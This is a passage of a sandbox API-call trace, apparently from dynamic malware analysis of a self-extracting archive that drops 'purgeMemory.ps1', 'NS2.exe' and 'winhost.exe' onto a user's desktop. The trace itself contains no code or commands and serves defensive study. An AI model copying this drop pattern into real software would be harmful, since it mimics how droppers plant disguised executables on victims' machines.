lpDistanceToMoveHigh=0x6d9798*=0) returned 0x40c77 [0059.028] SetFileTime (hFile=0x29c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x6d978c) returned 1 [0059.028] CloseHandle (hObject=0x29c) returned 1 [0059.029] SetFileAttributesW (lpFileName="purgeMemory.ps1", dwFileAttributes=0x20) returned 1 [0059.030] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x40c77 [0059.030] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4a900 [0059.030] ReadFile (in: hFile=0x294, lpBuffer=0xa4a900, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4a900*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0059.030] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa4a900, Size=0x48) returned 0xa4c578 [0059.030] ReadFile (in: hFile=0x294, lpBuffer=0xa4c57f, nNumberOfBytesToRead=0x23, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4c57f*, lpNumberOfBytesRead=0x6dc81c*=0x23, lpOverlapped=0x0) returned 1 [0059.030] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4c578 | out: hHeap=0xa10000) returned 1 [0059.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="NS2.exe", cchCount2=1) returned 1 [0059.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="NS2.exe", cchCount2=6) returned 1 [0059.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="NS2.exe", cchCount2=-1) returned 1 [0059.030] SetFilePointer (in: hFile=0x294, lDistanceToMove=265377, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x40ca1 [0059.030] LoadStringW (in: hInstance=0x860000, uID=0x65, lpBuffer=0x89e420, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0059.030] GetLastError () returned 0x0 [0059.030] SetLastError (dwErrCode=0x0) [0059.030] SetDlgItemTextW (hDlg=0x201cc, nIDDlgItem=101, lpString="Extracting NS2.exe") returned 1 [0059.030] PeekMessageW (in: lpMsg=0x6d8378, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d8378) returned 0 [0059.030] GetFileAttributesW (lpFileName="NS2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ns2.exe")) returned 0xffffffff [0059.030] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x6d6730 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0059.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\NS2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ns2.exe")) returned 0xffffffff [0059.030] CreateFileW (lpFileName="NS2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ns2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0059.031] GetFileType (hFile=0x29c) returned 0x1 [0059.031] SetFilePointer (in: hFile=0x29c, lDistanceToMove=128000, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x1f400 [0059.031] SetEndOfFile (hFile=0x29c) returned 1 [0059.031] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6d9788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9788*=0) returned 0x0 [0059.031] ReadFile (in: hFile=0x294, lpBuffer=0x3f97020, nNumberOfBytesToRead=0xe835, lpNumberOfBytesRead=0x6d9610, lpOverlapped=0x0 | out: lpBuffer=0x3f97020*, lpNumberOfBytesRead=0x6d9610*=0xe835, lpOverlapped=0x0) returned 1 [0059.031] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x53, lParam=0x0) returned 0x44 [0059.031] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0059.031] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0059.031] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10c0) returned 0x2a8 [0059.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10c4) returned 0x2ac [0059.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10c8) returned 0x2b0 [0059.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10cc) returned 0x2b4 [0059.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10d0) returned 0x2b8 [0059.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10d4) returned 0x2bc [0059.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x10d8) returned 0x2c0 [0059.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xe80) returned 0x2c4 [0059.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xe84) returned 0x2c8 [0059.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xe48) returned 0x2cc [0059.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xcd8) returned 0x2d0 [0059.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xa1c) returned 0x2d4 [0059.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x12b0) returned 0x2d8 [0059.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x12ac) returned 0x2dc [0059.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x78c) returned 0x2e0 [0059.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xd1c) returned 0x2e4 [0059.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xf64) returned 0x2e8 [0059.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xf80) returned 0x2ec [0059.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xf7c) returned 0x2f0 [0059.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xf88) returned 0x2f4 [0059.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xfa0) returned 0x2f8 [0059.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xfb4) returned 0x2fc [0059.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xfc8) returned 0x300 [0059.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xfdc) returned 0x304 [0059.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xff0) returned 0x308 [0059.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x61c) returned 0x30c [0059.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x528) returned 0x310 [0059.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0xc70) returned 0x314 [0059.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x4d8) returned 0x318 [0059.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x370) returned 0x31c [0059.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x4f4) returned 0x320 [0059.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x86f976, lpParameter=0xa47f28, dwCreationFlags=0x0, lpThreadId=0x6d9650 | out: lpThreadId=0x6d9650*=0x518) returned 0x324 [0059.067] ResetEvent (hEvent=0x290) returned 1 [0059.067] ReleaseSemaphore (in: hSemaphore=0x28c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.071] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) returned 0x0 [0059.072] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x200) returned 0x4495de0 [0059.072] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x53, lParam=0x0) returned 0x53 [0059.072] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0059.072] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0059.072] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.072] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10000) returned 0xa99950 [0059.074] WriteFile (in: hFile=0x29c, lpBuffer=0xa99950*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x6d9614, lpOverlapped=0x0 | out: lpBuffer=0xa99950*, lpNumberOfBytesWritten=0x6d9614*=0x10000, lpOverlapped=0x0) returned 1 [0059.075] PeekMessageW (in: lpMsg=0x6d95e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95e8) returned 1 [0059.075] GetMessageW (in: lpMsg=0x6d95e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x6d95e8) returned 1 [0059.075] TranslateMessage (lpMsg=0x6d95e8) returned 0 [0059.075] DispatchMessageW (lpMsg=0x6d95e8) returned 0x0 [0059.075] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.075] WriteFile (in: hFile=0x29c, lpBuffer=0xad4c80*, nNumberOfBytesToWrite=0xf400, lpNumberOfBytesWritten=0x6d95e4, lpOverlapped=0x0 | out: lpBuffer=0xad4c80*, lpNumberOfBytesWritten=0x6d95e4*=0xf400, lpOverlapped=0x0) returned 1 [0059.076] PeekMessageW (in: lpMsg=0x6d95b8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b8) returned 0 [0059.076] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.076] SetFilePointer (in: hFile=0x294, lDistanceToMove=324822, lpDistanceToMoveHigh=0x6d9798*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9798*=0) returned 0x4f4d6 [0059.076] SetFileTime (hFile=0x29c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x6d978c) returned 1 [0059.086] CloseHandle (hObject=0x29c) returned 1 [0059.088] SetFileAttributesW (lpFileName="NS2.exe", dwFileAttributes=0x20) returned 1 [0059.091] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x4f4d6 [0059.092] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4aa40 [0059.092] ReadFile (in: hFile=0x294, lpBuffer=0xa4aa40, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4aa40*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0059.092] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa4aa40, Size=0x48) returned 0xa4c8e8 [0059.092] ReadFile (in: hFile=0x294, lpBuffer=0xa4c8ef, nNumberOfBytesToRead=0x27, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4c8ef*, lpNumberOfBytesRead=0x6dc81c*=0x27, lpOverlapped=0x0) returned 1 [0059.092] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4c8e8 | out: hHeap=0xa10000) returned 1 [0059.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="winhost.exe", cchCount2=1) returned 1 [0059.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="winhost.exe", cchCount2=6) returned 1 [0059.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="winhost.exe", cchCount2=-1) returned 1 [0059.092] SetFilePointer (in: hFile=0x294, lDistanceToMove=324868, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x4f504 [0059.092] LoadStringW (in: hInstance=0x860000, uID=0x65, lpBuffer=0x89e820, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0059.092] GetLastError () returned 0x0 [0059.092] SetLastError (dwErrCode=0x0) [0059.092] SetDlgItemTextW (hDlg=0x201cc, nIDDlgItem=101, lpString="Extracting winhost.exe") returned 1 [0059.092] PeekMessageW (in: lpMsg=0x6d8378, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d8378) returned 0 [0059.092] GetFileAttributesW (lpFileName="winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe")) returned 0xffffffff [0059.092] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x6d6730 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0059.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe")) returned 0xffffffff [0059.092] CreateFileW (lpFileName="winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0059.094] GetFileType (hFile=0x29c) returned 0x1 [0059.094] SetFilePointer (in: hFile=0x29c, lDistanceToMove=94720, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x17200 [0059.094] SetEndOfFile (hFile=0x29c) returned 1 [0059.095] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6d9788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9788*=0) returned 0x0 [0059.095] ReadFile (in: hFile=0x294, lpBuffer=0x3f97020, nNumberOfBytesToRead=0xfe55, lpNumberOfBytesRead=0x6d9610, lpOverlapped=0x0 | out: lpBuffer=0x3f97020*, lpNumberOfBytesRead=0x6d9610*=0xfe55, lpOverlapped=0x0) returned 1 [0059.095] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x53 [0059.095] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0059.095] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0059.095] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.095] ResetEvent (hEvent=0x290) returned 1 [0059.095] ReleaseSemaphore (in: hSemaphore=0x28c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.095] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) returned 0x0 [0059.100] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0059.100] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0059.100] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0059.100] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.101] WriteFile (in: hFile=0x29c, lpBuffer=0xa99950*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x6d9614, lpOverlapped=0x0 | out: lpBuffer=0xa99950*, lpNumberOfBytesWritten=0x6d9614*=0x10000, lpOverlapped=0x0) returned 1 [0059.102] PeekMessageW (in: lpMsg=0x6d95e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95e8) returned 0 [0059.102] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.102] WriteFile (in: hFile=0x29c, lpBuffer=0xad4c80*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x6d95e4, lpOverlapped=0x0 | out: lpBuffer=0xad4c80*, lpNumberOfBytesWritten=0x6d95e4*=0x7200, lpOverlapped=0x0) returned 1 [0059.103] PeekMessageW (in: lpMsg=0x6d95b8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b8) returned 0 [0059.103] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.103] SetFilePointer (in: hFile=0x294, lDistanceToMove=389977, lpDistanceToMoveHigh=0x6d9798*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9798*=0) returned 0x5f359 [0059.103] SetFileTime (hFile=0x29c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x6d978c) returned 1 [0059.103] CloseHandle (hObject=0x29c) returned 1 [0059.112] SetFileAttributesW (lpFileName="winhost.exe", dwFileAttributes=0x20) returned 1 [0059.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x5f359 [0059.113] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4a978 [0059.113] ReadFile (in: hFile=0x294, lpBuffer=0xa4a978, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4a978*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0059.113] ReadFile (in: hFile=0x294, lpBuffer=0xa4a97f, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4a97f*, lpNumberOfBytesRead=0x6dc81c*=0xc, lpOverlapped=0x0) returned 1 [0059.113] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4a978 | out: hHeap=0xa10000) returned 1 [0059.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=390104, lpDistanceToMoveHigh=0x6d9798*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9798*=0) returned 0x5f3d8 [0059.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x5f3d8 [0059.113] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4a900 [0059.113] ReadFile (in: hFile=0x294, lpBuffer=0xa4a900, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4a900*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0059.113] ReadFile (in: hFile=0x294, lpBuffer=0xa4a907, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4a907*, lpNumberOfBytesRead=0x6dc81c*=0x1, lpOverlapped=0x0) returned 1 [0059.113] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4a900 | out: hHeap=0xa10000) returned 1 [0059.113] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa70800 | out: hHeap=0xa10000) returned 1 [0059.113] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa718c8 | out: hHeap=0xa10000) returned 1 [0059.113] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac2a60 | out: hHeap=0xa10000) returned 1 [0059.113] CloseHandle (hObject=0x294) returned 1 [0059.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe", lpFindFileData=0x6e74a8 | out: lpFindFileData=0x6e74a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x491f4100, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x491f4100, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xea9f9600, ftLastWriteTime.dwHighDateTime=0x1d6408a, nFileSizeHigh=0x0, nFileSizeLow=0x5f3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yjigrp.exe", cAlternateFileName="")) returned 0xa49638 [0059.113] FindClose (in: hFindFile=0xa49638 | out: hFindFile=0xa49638) returned 1 [0059.114] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac4c80 | out: hHeap=0xa10000) returned 1 [0059.116] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x3f97020 | out: hHeap=0xa10000) returned 1 [0059.129] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x4501858 | out: hHeap=0xa10000) returned 1 [0059.129] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x44d0c50 | out: hHeap=0xa10000) returned 1 [0059.130] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x44a0048 | out: hHeap=0xa10000) returned 1 [0059.132] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x4463068 | out: hHeap=0xa10000) returned 1 [0059.133] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x4432460 | out: hHeap=0xa10000) returned 1 [0059.134] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x4401858 | out: hHeap=0xa10000) returned 1 [0059.157] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x43d0c50 | out: hHeap=0xa10000) returned 1 [0059.157] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x43a0048 | out: hHeap=0xa10000) returned 1 [0059.164] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa72990 | out: hHeap=0xa10000) returned 1 [0059.165] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa687f0 | out: hHeap=0xa10000) returned 1 [0059.165] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x4495de0 | out: hHeap=0xa10000) returned 1 [0059.165] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa99950 | out: hHeap=0xa10000) returned 1 [0059.166] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa607e0 | out: hHeap=0xa10000) returned 1 [0059.167] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa520f8 | out: hHeap=0xa10000) returned 1 [0059.168] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4cdf8 | out: hHeap=0xa10000) returned 1 [0059.168] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4dec0 | out: hHeap=0xa10000) returned 1 [0059.168] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac35c0 | out: hHeap=0xa10000) returned 1 [0059.168] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac4120 | out: hHeap=0xa10000) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, 